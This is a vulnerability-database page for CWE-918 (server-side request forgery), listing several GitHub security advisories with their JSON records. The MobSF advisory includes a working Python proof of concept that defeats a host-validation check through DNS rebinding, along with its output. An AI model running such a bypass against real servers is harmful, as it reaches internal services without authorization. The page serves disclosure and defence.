Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6670 vulnerabilities reference this CWE, most recent first.

GHSA-FC43-VCVC-5QG7

Vulnerability from github – Published: 2026-07-17 03:31 – Updated: 2026-07-17 03:31
VLAI
Details

OpenClaw 2026.4.14 before 2026.5.26 contain a server-side request forgery vulnerability in browser snapshot routes that fail to validate post-navigation destinations. Attackers with lower-trust access can bypass OpenClaw policy checks to reach network destinations that should have been blocked.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-62227"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-17T02:18:10Z",
    "severity": "MODERATE"
  },
  "details": "OpenClaw 2026.4.14 before 2026.5.26 contain a server-side request forgery vulnerability in browser snapshot routes that fail to validate post-navigation destinations. Attackers with lower-trust access can bypass OpenClaw policy checks to reach network destinations that should have been blocked.",
  "id": "GHSA-fc43-vcvc-5qg7",
  "modified": "2026-07-17T03:31:23Z",
  "published": "2026-07-17T03:31:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-2x93-h3hg-2xfp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62227"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-ssrf-via-browser-snapshot"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-FC4Q-VVFV-69H5

Vulnerability from github – Published: 2026-08-19 18:32 – Updated: 2026-08-19 18:32
VLAI
Details

A vulnerability in Cisco Packaged Contact Center Enterprise (Packaged CCE) and Cisco Unified Contact Center Enterprise (Unified CCE) could allow an authenticated, remote attacker to conduct server-side request forgery (SSRF) attacks through an affected device.

This vulnerability is due to improper input validation for specific HTTP requests. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to send arbitrary network requests that are sourced from the affected device. To exploit this vulnerability, the attacker must have valid user credentials on the affected device. 

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-20314"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-19T17:18:39Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in Cisco Packaged Contact Center Enterprise (Packaged CCE) and Cisco Unified Contact Center Enterprise (Unified CCE) could allow an authenticated, remote attacker to conduct server-side request forgery (SSRF) attacks through an affected device.\n\nThis vulnerability is due to improper input validation for specific HTTP requests. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to send arbitrary network requests that are sourced from the affected device. To exploit this vulnerability, the attacker must have valid user credentials on the affected device.\u0026nbsp;",
  "id": "GHSA-fc4q-vvfv-69h5",
  "modified": "2026-08-19T18:32:49Z",
  "published": "2026-08-19T18:32:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20314"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ucce-pcce-ssrf-TghHxD"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FC65-58V2-9R8H

Vulnerability from github – Published: 2022-04-30 18:21 – Updated: 2024-02-08 21:30
VLAI
Details

DB4Web server, when configured to use verbose debug messages, allows remote attackers to use DB4Web as a proxy and attempt TCP connections to other systems (port scan) via a request for a URL that specifies the target IP address and port, which produces a connection status in the resulting error message.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2002-1484"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2003-04-22T04:00:00Z",
    "severity": "HIGH"
  },
  "details": "DB4Web server, when configured to use verbose debug messages, allows remote attackers to use DB4Web as a proxy and attempt TCP connections to other systems (port scan) via a request for a URL that specifies the target IP address and port, which produces a connection status in the resulting error message.",
  "id": "GHSA-fc65-58v2-9r8h",
  "modified": "2024-02-08T21:30:30Z",
  "published": "2022-04-30T18:21:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2002-1484"
    },
    {
      "type": "WEB",
      "url": "http://archives.neohapsis.com/archives/bugtraq/2002-09/0201.html"
    },
    {
      "type": "WEB",
      "url": "http://archives.neohapsis.com/archives/vulnwatch/2002-q3/0125.html"
    },
    {
      "type": "WEB",
      "url": "http://www.iss.net/security_center/static/10136.php"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/5725"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FC85-MQVW-FGVH

Vulnerability from github – Published: 2026-05-02 06:30 – Updated: 2026-05-02 06:30
VLAI
Details

A vulnerability was identified in JeecgBoot up to 3.9.1. This affects the function OpenApiController.add/OpenApiController.call of the file OpenApiController.java of the component OpenApi Service. Such manipulation of the argument originUrl database leads to server-side request forgery. It is possible to launch the attack remotely. The exploit is publicly available and might be used. It is suggested to upgrade the affected component. The vendor confirmed the issue and will provide a fix in the upcoming release.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-7604"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-02T05:16:01Z",
    "severity": "LOW"
  },
  "details": "A vulnerability was identified in JeecgBoot up to 3.9.1. This affects the function OpenApiController.add/OpenApiController.call of the file OpenApiController.java of the component OpenApi Service. Such manipulation of the argument originUrl database leads to server-side request forgery. It is possible to launch the attack remotely. The exploit is publicly available and might be used. It is suggested to upgrade the affected component. The vendor confirmed the issue and will provide a fix in the upcoming release.",
  "id": "GHSA-fc85-mqvw-fgvh",
  "modified": "2026-05-02T06:30:24Z",
  "published": "2026-05-02T06:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7604"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jeecgboot/JeecgBoot/issues/9554"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jeecgboot/JeecgBoot/issues/9554#issuecomment-4251574151"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jeecgboot/JeecgBoot"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/805708"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/360561"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/360561/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-FC9R-6PVQ-27WG

Vulnerability from github – Published: 2024-04-24 09:30 – Updated: 2024-04-24 09:30
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Webangon The Pack Elementor.This issue affects The Pack Elementor addons: from n/a through 2.0.8.2.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-32718"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-24T08:15:38Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Webangon The Pack Elementor.This issue affects The Pack Elementor addons: from n/a through 2.0.8.2.\n\n",
  "id": "GHSA-fc9r-6pvq-27wg",
  "modified": "2024-04-24T09:30:31Z",
  "published": "2024-04-24T09:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32718"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/the-pack-addon/wordpress-the-pack-elementor-addons-plugin-2-0-8-2-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FCC6-F47W-V8RX

Vulnerability from github – Published: 2026-09-08 03:31 – Updated: 2026-09-08 03:31
VLAI
Details

Due to a Server-Side Request Forgery (SSRF) vulnerability in SAP Manufacturing Integration and Intelligence, an attacker could cause the server to initiate arbitrary outbound requests. If processed by the application, this behavior could be combined with XML/XSL processing to enable execution of scripts. Successful exploitation could result in a low impact on the confidentiality, integrity, and availability of the application.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-76971"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-08T01:17:55Z",
    "severity": "MODERATE"
  },
  "details": "Due to a Server-Side Request Forgery (SSRF) vulnerability in SAP Manufacturing Integration and Intelligence, an attacker could cause the server to initiate arbitrary outbound requests. If processed by the application, this behavior could be combined with XML/XSL processing to enable execution of scripts. Successful exploitation could result in a low impact on the confidentiality, integrity, and availability of the application.",
  "id": "GHSA-fcc6-f47w-v8rx",
  "modified": "2026-09-08T03:31:13Z",
  "published": "2026-09-08T03:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76971"
    },
    {
      "type": "WEB",
      "url": "https://me.sap.com/notes/3786489"
    },
    {
      "type": "WEB",
      "url": "https://url.sap/sapsecuritypatchday"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FCCG-7W3P-W66F

Vulnerability from github – Published: 2026-01-16 15:31 – Updated: 2026-01-16 19:57
VLAI
Summary
Nu Html Checker (vnu) contains a Server-Side Request Forgery (SSRF) vulnerability
Details

Nu Html Checker (validator.nu) contains a restriction bypass that allows remote attackers to make the server perform arbitrary HTTP/HTTPS requests to internal resources, including localhost services. While the validator implements hostname-based protections to block direct access to localhost and 127.0.0.1, these controls can be bypassed using DNS rebinding techniques or domains that resolve to loopback addresses.This issue affects The Nu Html Checker (vnu): latest (commit 23f090a11bab8d0d4e698f1ffc197a4fe226a9cd).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "nu.validator:validator"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.1.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "vnu-jar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.1.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-15104"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-16T19:57:33Z",
    "nvd_published_at": "2026-01-16T14:15:54Z",
    "severity": "MODERATE"
  },
  "details": "Nu Html Checker (validator.nu) contains a restriction bypass that allows remote attackers to make the server perform arbitrary HTTP/HTTPS requests to internal resources, including localhost services. While the validator implements hostname-based protections to block direct access to localhost and 127.0.0.1, these controls can be bypassed using DNS rebinding techniques or domains that resolve to loopback addresses.This issue affects The Nu Html Checker (vnu): latest (commit 23f090a11bab8d0d4e698f1ffc197a4fe226a9cd).",
  "id": "GHSA-fccg-7w3p-w66f",
  "modified": "2026-01-16T19:57:33Z",
  "published": "2026-01-16T15:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15104"
    },
    {
      "type": "WEB",
      "url": "https://fluidattacks.com/advisories/europe"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/validator/validator"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Nu Html Checker (vnu) contains a Server-Side Request Forgery (SSRF) vulnerability"
}

GHSA-FCFQ-M8P6-GW56

Vulnerability from github – Published: 2025-03-31 17:23 – Updated: 2025-06-13 04:11
VLAI
Summary
Mobile Security Framework (MobSF) has a SSRF Vulnerability fix bypass on assetlinks_check with DNS Rebinding
Details

Summary

The latest deployed fix for the SSRF vulnerability is through the use of the call valid_host(). The code available at lines /ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957 is vulnerable to SSRF abuse using DNS rebinding technique.

PoC

The following proof of concept:

def valid_host(host):
    """Check if host is valid."""
    try:
        prefixs = ('http://', 'https://')
        if not host.startswith(prefixs):
            host = f'http://{host}'
        parsed = urlparse(host)
        domain = parsed.netloc
        path = parsed.path
        if len(domain) == 0:
            # No valid domain
            return False, None
        if len(path) > 0:
            # Only host is allowed
            return False, None
        if ':' in domain:
            # IPv6
            return False, None
        # Local network
        invalid_prefix = (
            '100.64.',
            '127.',
            '192.',
            '198.',
            '10.',
            '172.',
            '169.',
            '0.',
            '203.0.',
            '224.0.',
            '240.0',
            '255.255.',
            'localhost',
            '::1',
            '64::ff9b::',
            '100::',
            '2001::',
            '2002::',
            'fc00::',
            'fe80::',
            'ff00::')
        if domain.startswith(invalid_prefix):
            return False, None
        ip = socket.gethostbyname(domain)
        if ip.startswith(invalid_prefix):
            # Resolve dns to get IP
            return False, None
        return True, ip
    except Exception:
        return False, None

import random
import time
import socket
from urllib.parse import urlparse

if __name__ == '__main__':
    print("Generating random host ...", end=' ')     
    prefix = random.randint(999_999, 9_999_999)
    host = f"{prefix}-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms"
    print("Done")
    print(f"Testing with '{host}' ... ", end=" ")
    valid, ip = valid_host(host)
    if valid:
        print(f"Successful Bypass")
        print(f" - Host initially resolved to: {ip}")
        print("Sleeping for 1 second ...")
        time.sleep(1)
        print(f" - Second use host will be resolved to: {socket.gethostbyname(host)}")
        print(f" - Third use host will be resolved to: {socket.gethostbyname(host)}")
        print("Sleeping for 30 seconds ...")
        time.sleep(30)
    else:
        print(f"Invalid host")

Yields :

$ python3 poc.py
Generating random host ... Done
Testing with '5084216-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms' ...  Successful Bypass
 - Host initially resolved to: 1.1.1.1
Sleeping for 1 second ...
 - Second use host will be resolved to: 127.0.0.1
 - Third use host will be resolved to: 127.0.0.1
Sleeping for 30 seconds ...

Which generate an initlal random url that leverages dns rebinding after 1 time host resolution and remains to that IP for 30 seconds. As you can notice the initial resolution was pointing to 1.1.1.1. The second time the IP was resolved to 127.0.0.1. Such an attack could be adjusted for other IP addresses.

Impact

The usual impact of Server-side request forgery.

Remediation

  • Avoid the use of socket.gethostbyname() since it issues and DNS query.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mobsf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-31116"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-31T17:23:21Z",
    "nvd_published_at": "2025-03-31T17:15:42Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe latest deployed fix for the SSRF vulnerability is through the use of the call `valid_host()`. The code available at lines [/ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957](https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957) is vulnerable to SSRF abuse using DNS rebinding technique.\n\n### PoC\n\nThe following proof of concept: \n\n```python\ndef valid_host(host):\n    \"\"\"Check if host is valid.\"\"\"\n    try:\n        prefixs = (\u0027http://\u0027, \u0027https://\u0027)\n        if not host.startswith(prefixs):\n            host = f\u0027http://{host}\u0027\n        parsed = urlparse(host)\n        domain = parsed.netloc\n        path = parsed.path\n        if len(domain) == 0:\n            # No valid domain\n            return False, None\n        if len(path) \u003e 0:\n            # Only host is allowed\n            return False, None\n        if \u0027:\u0027 in domain:\n            # IPv6\n            return False, None\n        # Local network\n        invalid_prefix = (\n            \u0027100.64.\u0027,\n            \u0027127.\u0027,\n            \u0027192.\u0027,\n            \u0027198.\u0027,\n            \u002710.\u0027,\n            \u0027172.\u0027,\n            \u0027169.\u0027,\n            \u00270.\u0027,\n            \u0027203.0.\u0027,\n            \u0027224.0.\u0027,\n            \u0027240.0\u0027,\n            \u0027255.255.\u0027,\n            \u0027localhost\u0027,\n            \u0027::1\u0027,\n            \u002764::ff9b::\u0027,\n            \u0027100::\u0027,\n            \u00272001::\u0027,\n            \u00272002::\u0027,\n            \u0027fc00::\u0027,\n            \u0027fe80::\u0027,\n            \u0027ff00::\u0027)\n        if domain.startswith(invalid_prefix):\n            return False, None\n        ip = socket.gethostbyname(domain)\n        if ip.startswith(invalid_prefix):\n            # Resolve dns to get IP\n            return False, None\n        return True, ip\n    except Exception:\n        return False, None\n\nimport random\nimport time\nimport socket\nfrom urllib.parse import urlparse\n\nif __name__ == \u0027__main__\u0027:\n    print(\"Generating random host ...\", end=\u0027 \u0027)     \n    prefix = random.randint(999_999, 9_999_999)\n    host = f\"{prefix}-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms\"\n    print(\"Done\")\n    print(f\"Testing with \u0027{host}\u0027 ... \", end=\" \")\n    valid, ip = valid_host(host)\n    if valid:\n        print(f\"Successful Bypass\")\n        print(f\" - Host initially resolved to: {ip}\")\n        print(\"Sleeping for 1 second ...\")\n        time.sleep(1)\n        print(f\" - Second use host will be resolved to: {socket.gethostbyname(host)}\")\n        print(f\" - Third use host will be resolved to: {socket.gethostbyname(host)}\")\n        print(\"Sleeping for 30 seconds ...\")\n        time.sleep(30)\n    else:\n        print(f\"Invalid host\")\n\n```\n\nYields : \n\n```\n$ python3 poc.py\nGenerating random host ... Done\nTesting with \u00275084216-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms\u0027 ...  Successful Bypass\n - Host initially resolved to: 1.1.1.1\nSleeping for 1 second ...\n - Second use host will be resolved to: 127.0.0.1\n - Third use host will be resolved to: 127.0.0.1\nSleeping for 30 seconds ...\n```\n\nWhich generate an initlal random url that leverages dns rebinding after 1 time host resolution and remains to that IP for 30 seconds.\nAs you can notice the initial resolution was pointing to `1.1.1.1`. The second time the IP was resolved to `127.0.0.1`. Such an attack could be adjusted for other IP addresses.\n\n### Impact\n\nThe usual impact of Server-side request forgery.\n\n### Remediation \n\n- Avoid the use of `socket.gethostbyname()` since it issues and DNS query.",
  "id": "GHSA-fcfq-m8p6-gw56",
  "modified": "2025-06-13T04:11:18Z",
  "published": "2025-03-31T17:23:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-fcfq-m8p6-gw56"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31116"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/4b8bab5a9858c69fe13be4631b82d82186e0d3bd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/mobsf/PYSEC-2025-48.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mobile Security Framework (MobSF) has a SSRF Vulnerability fix bypass on assetlinks_check with DNS Rebinding"
}

GHSA-FCH9-7G2P-F49F

Vulnerability from github – Published: 2025-03-18 15:30 – Updated: 2025-03-18 15:30
VLAI
Details

IBM QRadar Advisor 1.0.0 through 2.6.5 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-49822"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-18T15:15:56Z",
    "severity": "MODERATE"
  },
  "details": "IBM QRadar Advisor 1.0.0 through 2.6.5 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.",
  "id": "GHSA-fch9-7g2p-f49f",
  "modified": "2025-03-18T15:30:48Z",
  "published": "2025-03-18T15:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49822"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7186424"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FCHH-435H-CF8H

Vulnerability from github – Published: 2023-08-17 00:30 – Updated: 2024-06-21 21:33
VLAI
Details

IBM Cognos Analytics 11.1.7, 11.2.0, and 11.2.1 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 257705.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-35011"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-16T23:15:10Z",
    "severity": "MODERATE"
  },
  "details": "IBM Cognos Analytics 11.1.7, 11.2.0, and 11.2.1 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.  IBM X-Force ID:  257705.",
  "id": "GHSA-fchh-435h-cf8h",
  "modified": "2024-06-21T21:33:53Z",
  "published": "2023-08-17T00:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35011"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/257705"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20230921-0005"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240621-0005"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7026692"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.